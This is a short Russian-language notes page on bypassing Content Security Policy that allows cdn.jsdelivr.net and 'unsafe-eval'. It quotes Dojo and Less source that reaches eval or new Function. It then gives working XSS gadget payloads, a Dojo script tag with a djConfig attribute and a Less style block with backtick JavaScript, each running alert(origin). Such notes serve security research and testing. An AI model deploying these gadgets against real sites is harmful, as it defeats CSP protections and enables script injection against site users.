заметки

csp bypass когда unsafe-eval

2023-08-02

Здесь рабочие примеры обхода Content Security Policy (CSP, по типу script-src cdn.jsdelivr.net 'unsafe-eval') с помощью сторонних библиотек.

Нам нужно искать eval, setInterval, setTimeout, new Function().

Dojo

dojotoolkit.org

Нужный код:

if((src = (script.getAttribute("data-dojo-config") || script.getAttribute("djConfig")))){\n\tdojoSniffConfig = req.eval("({ " + src + " })", "data-dojo-config");\n\n\t// remember an insertPointSibling\n\tinsertPointSibling = script;\n}

В <script> где идет загрузка Dojo нужен атрибут data-dojo-config или djConfig который исполняется через eval. В старых версиях только djConfig.

Итого: <script src="//cdn.jsdelivr.net/npm/dojo@1.17.3/dojo.js" djConfig="0:alert(origin)"></script>

Проверить

Less

lesscss.org

Нужный код:

evaluateJavaScript: function (expression, context) {\n\tvar result;\n\tvar that = this;\n\tvar evalContext = {};\n\tif (!context.javascriptEnabled) {\n\t\tthrow { message: 'Inline JavaScript is not enabled. Is it set in your options?',\n\t\t\tfilename: this.fileInfo().filename,\n\t\t\tindex: this.getIndex() };\n\t}\n\texpression = expression.replace(/@\{([\w-]+)\}/g, function (_, name) {\n\t\treturn that.jsify(new Variable("@" + name, that.getIndex(), that.fileInfo()).eval(context));\n\t});\n\ttry {\n\t\texpression = new Function("return (" + expression + ")");\n\t}\n\tcatch (e) {\n\t\tthrow { message: "JavaScript evaluation error: " + e.message + " from `" + expression + "`",\n\t\t\tfilename: this.fileInfo().filename,\n\t\t\tindex: this.getIndex() };\n\t}\n\tvar variables = context.frames[0].variables();\n\tfor (var k in variables) {\n\t\tif (variables.hasOwnProperty(k)) {\n\t\t\t/* jshint loopfunc:true */\n\t\t\tevalContext[k.slice(1)] = {\n\t\t\t\tvalue: variables[k].value,\n\t\t\t\ttoJS: function () {\n\t\t\t\t\treturn this.value.eval(context).toCSS();\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}\n\ttry {\n\t\tresult = expression.call(evalContext);\n\t}\n\tcatch (e) {\n\t\tthrow { message: "JavaScript evaluation error: '" + e.name + ": " + e.message.replace(/["]/g, '\'') + "'",\n\t\t\tfilename: this.fileInfo().filename,\n\t\t\tindex: this.getIndex() };\n\t}\n\treturn result;\n}

new Function() и все такое...

Итого:

<style type="text/less">@_:`alert(origin)`;</style>\n<script src="//cdn.jsdelivr.net/npm/less@4.1.3/dist/less.js" data-javascript-enabled="1"></script>\n

Проверить